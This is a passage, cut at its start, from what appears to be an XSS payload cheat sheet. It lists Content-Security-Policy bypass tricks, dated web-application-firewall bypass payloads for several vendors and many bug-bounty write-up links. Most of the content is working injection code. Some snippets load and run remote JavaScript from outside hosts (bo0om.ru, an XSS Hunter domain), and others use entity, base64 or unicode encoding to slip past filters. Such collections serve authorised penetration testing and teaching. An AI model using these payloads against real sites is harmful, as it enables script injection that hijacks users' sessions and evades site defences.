//google.com/complete/search?client=chrome&jsonp=alert(1); ```js <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>" ``` More JSONP endpoints: * [/Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt) * [JSONBee/jsonp.txt](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) ### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa) Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;) ```js script=document.createElement('script'); script.src='//bo0om.ru/csp.js'; window.frames[0].document.head.appendChild(script); ``` ### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f) ```js // CSP Bypass with Inline and Eval d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000) ``` ### Bypass CSP by [@akita_zen](https://twitter.com/akita_zen) Works for CSP like `script-src self` ```js <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> ``` ### Bypass CSP by [@404death](https://twitter.com/404death/status/1191222237782659072) Works for CSP like `script-src 'self' data:` as warned about in the official [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src). ```javascript <script src="data:,alert(1)">/</script> ``` ## Common WAF Bypass ### Cloudflare XSS Bypasses by [@Bohdan Korzhynskyi](https://twitter.com/bohdansec) #### 25st January 2021 ```html <svg/onrandom=random onload=confirm(1)> <video onnull=null onmouseover=confirm(1)> ``` #### 21st April 2020 ```html <svg/OnLoad="`${prompt``}`"> ``` #### 22nd August 2019 ```html <svg/onload=%26nbsp;alert`bohdan`+ ``` #### 5th June 2019 ```html 1'"><img/src/onerror=.1|alert``> ``` #### 3rd June 2019 ```html <svg onload=prompt%26%230000000040document.domain)> <svg onload=prompt%26%23x000000028;document.domain)> xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'> ``` ### Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10) ``` <svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f ``` ### Cloudflare XSS Bypass - 27th February 2018 ```html <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a> ``` ### Chrome Auditor - 9th August 2018 ```javascript </script><svg><script>alert(1)-%26apos%3B ``` Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B) ### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th March 2018 ```javascript anythinglr00</script><script>alert(document.domain)</script>uxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz ``` ### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th September 2018 ```javascript <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object> ``` ### Incapsula WAF Bypass by [@daveysec](https://twitter.com/daveysec/status/1126999990658670593) - 11th May 2019 ```html <svg onload\r\n=$.globalEval("al"+"ert()");> ``` ### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th June 2018 ```javascript ?"></script><base%20c%3D=href%3Dhttps:\mysite> ``` ### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th October 2018 ```html <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> ``` ### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th September 2018 ```javascript <a href=javas&#99;ript:alert(1)> ``` ### Fortiweb WAF Bypass by [@rezaduty](https://twitter.com/rezaduty) - 9th July 2019 ```javascript \u003e\u003c\u0068\u0031 onclick=alert('1')\u003e ``` ## References - [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot) - tbm - [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html) - [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/) - [RPO Gadget - innerthmtl](http://blog.innerht.ml/rpo-gadgets/) - [Relative Path Overwrite - Detectify](http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite) - [XSS ghettoBypass - d3adend](http://d3adend.org/xss/ghettoBypass) - [XSS without HTML: Client-Side Template Injection with AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html) - [XSSING WEB PART - 2 - Rakesh Mane](http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html) - [Making an XSS triggered by CSP bypass on Twitter. @tbmnull](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5) - [Ways to alert(document.domain) - @tomnomnom](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309) - [D1T1 - Michele Spagnuolo and Lukas Wilschelbaum - So We Broke All CSPs](https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf) - [Sleeping stored Google XSS Awakens a $5000 Bounty](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by Patrik Fehrenbach - [RPO that lead to information leakage in Google](http://blog.innerht.ml/rpo-gadgets/) by filedescriptor - [God-like XSS, Log-in, Log-out, Log-in](https://whitton.io/articles/uber-turning-self-xss-into-good-xss/) in Uber by Jack Whitton - [Three Stored XSS in Facebook](http://www.breaksec.com/?p=6129) by Nirgoldshlager - [Using a Braun Shaver to Bypass XSS Audit and WAF](https://blog.bugcrowd.com/guest-blog-using-a-braun-shaver-to-bypass-xss-audit-and-waf-by-frans-rosen-detectify) by Frans Rosen - [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) by Jack Whitton - [Stored XSS in *.ebay.com](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) by Jack Whitton - [Complicated, Best Report of Google XSS](https://sites.google.com/site/bughunteruniversity/best-reports/account-recovery-xss) by Ramzes - [Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com](https://hackerone.com/reports/150179) by secgeek - [Command Injection in Google Console](http://www.pranav-venkat.com/2016/03/command-injection-which-got-me-6000.html) by Venkat S - [Facebook's Moves - OAuth XSS](http://www.paulosyibelo.com/2015/12/facebooks-moves-oauth-xss.html) by PAULOS YIBELO - [Stored XSS in Google Docs (Bug Bounty)](http://hmgmakarovich.blogspot.hk/2015/11/stored-xss-in-google-docs-bug-bounty.html) by Harry M Gertos - [Stored XSS on developer.uber.com via admin account compromise in Uber](https://hackerone.com/reports/152067) by James Kettle (albinowax) - [Yahoo Mail stored XSS](https://klikki.fi/adv/yahoo.html) by Klikki Oy - [Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)](http://mksben.l0.cm/2016/07/xxn-caret.html) by Masato Kinugawa - [Youtube XSS](https://labs.detectify.com/2015/06/06/google-xss-turkey/) by fransrosen - [Best Google XSS again](https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter) - by Krzysztof Kotowicz - [IE & Edge URL parsing Problem](https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/) - by detectify - [Google XSS subdomain Clickjacking](http://sasi2103.blogspot.sg/2016/09/combination-of-techniques-lead-to-dom.html) - [Microsoft XSS and Twitter XSS](http://blog.wesecureapp.com/xss-by-tossing-cookies/) - [Google Japan Book XSS](http://nootropic.me/blog/en/blog/2016/09/20/%E3%82%84%E3%81%AF%E3%82%8A%E3%83%8D%E3%83%83%E3%83%88%E3%82%B5%E3%83%BC%E3%83%95%E3%82%A3%E3%83%B3%E3%82%92%E3%81%97%E3%81%A6%E3%81%84%E3%81%9F%E3%82%89%E3%81%9F%E3%81%BE%E3%81%9F%E3%81%BEgoogle/) - [Flash XSS mega nz](https://labs.detectify.com/2013/02/14/how-i-got-the-bug-bounty-for-mega-co-nz-xss/) - by frans - [Flash XSS in multiple libraries](https://olivierbeg.com/finding-xss-vulnerabilities-in-flash-files/) - by Olivier Beg - [xss in google IE, Host Header Reflection](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html) - [Years ago Google xss](http://conference.hitb.org/hitbsecconf2012ams/materials/D1T2%20-%20Itzhak%20Zuk%20Avraham%20and%20Nir%20Goldshlager%20-%20Killing%20a%20Bug%20Bounty%20Program%20-%20Twice.pdf) - [xss in google by IE weird behavior](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html) - [xss in Yahoo Fantasy Sport](https://web.archive.org/web/20161228182923/http://dawgyg.com/2016/12/07/stored-xss-affecting-all-fantasy-sports-fantasysports-yahoo-com-2/) - [xss in Yahoo Mail Again, worth $10000](https://klikki.fi/adv/yahoo2.html) by Klikki Oy - [Sleeping XSS in Google](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by securityguard - [Decoding a .htpasswd to earn a payload of money](https://blog.it-securityguard.com/bugbounty-decoding-a-%F0%9F%98%B1-00000-htpasswd-bounty/) by securityguard - [Google Account Takeover](http://www.orenh.com/2013/11/google-account-recovery-vulnerability.html#comment-form) - [AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2](http://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/) by geekboy - [Uber Self XSS to Global XSS](https://httpsonly.blogspot.hk/2016/08/turning-self-xss-into-good-xss-v2.html) - [How I found a $5,000 Google Maps XSS (by fiddling with Protobuf)](https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff#.cktt61q9g) by Marin MoulinierFollow - [Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/) by Brett - [XSSI, Client Side Brute Force](http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html) - [postMessage XSS on a million sites - December 15, 2016 - Mathias Karlsson](https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/) - [postMessage XSS Bypass](https://hackerone.com/reports/231053) - [XSS in Uber via Cookie](http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/) by zhchbin - [Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP](https://hackerone.com/reports/207042) by frans - [XSS due to improper regex in third party js Uber 7k XSS](http://zhchbin.github.io/2016/09/10/A-Valuable-XSS/) - [XSS in TinyMCE 2.4.0](https://hackerone.com/reports/262230) by Jelmer de Hen - [Pass uncoded URL in IE11 to cause XSS](https://hackerone.com/reports/150179) - [Twitter XSS by stopping redirection and javascript scheme](http://blog.blackfan.ru/2017/09/devtwittercom-xss.html) by Sergey Bobrov - [Auth DOM Uber XSS](http://stamone-bug-bounty.blogspot.hk/2017/10/dom-xss-auth_14.html) - [Managed Apps and Music: two Google reflected XSSes](https://ysx.me.uk/managed-apps-and-music-a-tale-of-two-xsses-in-google-play/) - [App Maker and Colaboratory: two Google stored XSSes](https://ysx.me.uk/app-maker-and-colaboratory-a-stored-google-xss-double-bill/) - [XSS in www.yahoo.com](https://www.youtube.com/watch?v=d9UEVv3cJ0Q&feature=youtu.be) - [Stored XSS, and SSRF in Google using the Dataset Publishing Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html) - [Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd) - [XSS cheat sheet - PortSwigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang](https://cure53.de/fp170.pdf) - [Self Closing Script](https://twitter.com/PortSwiggerRes/status/1257962800418349056) - [Bypass < with ＜](https://hackerone.com/reports/639684)